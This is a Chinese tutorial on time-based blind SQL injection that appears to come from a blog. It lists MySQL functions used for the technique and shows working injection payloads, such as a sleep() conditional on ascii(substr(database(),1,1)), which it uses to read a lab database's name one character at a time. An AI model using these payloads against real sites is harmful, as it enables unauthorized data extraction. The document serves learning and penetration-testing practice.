基于时间盲注

简介: 基于时间盲注

一、函数介绍

1、sleep(5):暂停5秒再返回结果

2、if(条件,表达式1,表达式2):如果条件为真,返回表达式1,否则返回表达式2

3、substr('admin',2,3):从第二个位置开始截取长度为3的字符串,即dmi

4、substring('admin',2,3):效果和上面一样

5、substring('admin' from 2 for 1):截取一个字母,省略了逗号

6、substring('admin' from 2):从第二个字母开始截取

7、substring_index('1223334444','4',3):截取到4出现的第三次,即12233344

8、rlike '^12' 或者regext '^12':正则判断是不是从12开头的字符串  例子:select * from user where pass regexp '^12';

9、case when...then...end:判断条件,如果查询有结果返回,否则返回什么,例子:select case when username='admin' then 'admin' else 'xxx' end from user;

10、sdcii():获取字母的ASCII码

11、benchmark():重复执行,例子:benchmark(10000000,sha(1))

12、select count(*) from user a , uer b ;  select count(*) from user 得到结果再乘以结果

13、mid():截取函数,mid("aiyoubucuo",1,1)mid("aiyoubucuo" from 1 for 1); 结果都为1

14、left()/right():从左/从右截取的字符串 left("aiyou",1) right("aiyou",1)

15、ord():ord("abc"),返回结果为首字母的ASCII码,a

16、asc/desc:升序/降序排列  order by id asc;

二、实例

1、访问:http://192.168.152.128/aiyou/1.php?id=2

0a2653c851af460fa595bd959398a8f1.png

2、构造条件语句:http://192.168.152.128/aiyou/1.php?id=2' and 1=1 --+

0eacb84100b54626af849e6b562bf92a.png

3、判断数据库名称

将条件改为:if(ascii(substr(database(),1,1))=97,sleep(4),null),如果数据库的第一个是a,就暂停4秒

2d65d23f6d4748949b924e4057485923.png

不停修改数字,直到106,发现停留了4秒,说明数据库的第一个字母是j

2e9b90b2ca334476abebe75bafe6eeaa.png

再将1修改为2,判断数据库名字的第二个字母,发现正好是a

4cebaac233b3433da32a72337a77fc60.png

目录
相关文章
|
6月前
|
数据库
15、延时布尔盲注(Post)
15、延时布尔盲注(Post)
46 0
|
5月前
|
SQL Web App开发 安全
【Less-9】基于SQLI的SQL时间盲注
【Less-9】基于SQLI的SQL时间盲注
|
6月前
|
SQL 数据库
小课堂 -- 时间​​盲注和Bool盲注
小课堂 -- 时间​​盲注和Bool盲注
22 0
|
6月前
|
数据库
小课堂 -- 延时布尔盲注(Post)
小课堂 -- 延时布尔盲注(Post)
40 0
|
6月前
|
SQL 前端开发 Java
SQL注入天书笔记(1)布尔盲注
SQL注入天书笔记(1)布尔盲注
81 0
|
XML SQL 安全
[NPUCTF2020]ezlogin (xpath盲注)
[NPUCTF2020]ezlogin (xpath盲注)
154 0
|
数据库
基于时间盲注
基于时间盲注
117 0
基于时间盲注
|
NoSQL 关系型数据库 MySQL
MySQL时间盲注五种延时方法
MySQL时间盲注五种延时方法
469 0
时间大小判断
大家可以根据自己的理解去使用 before 是在什么之前 after 是在什么之后 true 对 false 错
68 0
时间大小判断
|
SQL 关系型数据库 MySQL
盲注
在SQL注入过程中,应用界面仅仅返回True(页面)或者False(页面)。无法根据应用程序的返回页面得到需要的数据库信息。可以通过构造逻辑判断(比较大小)来得到需要的信息。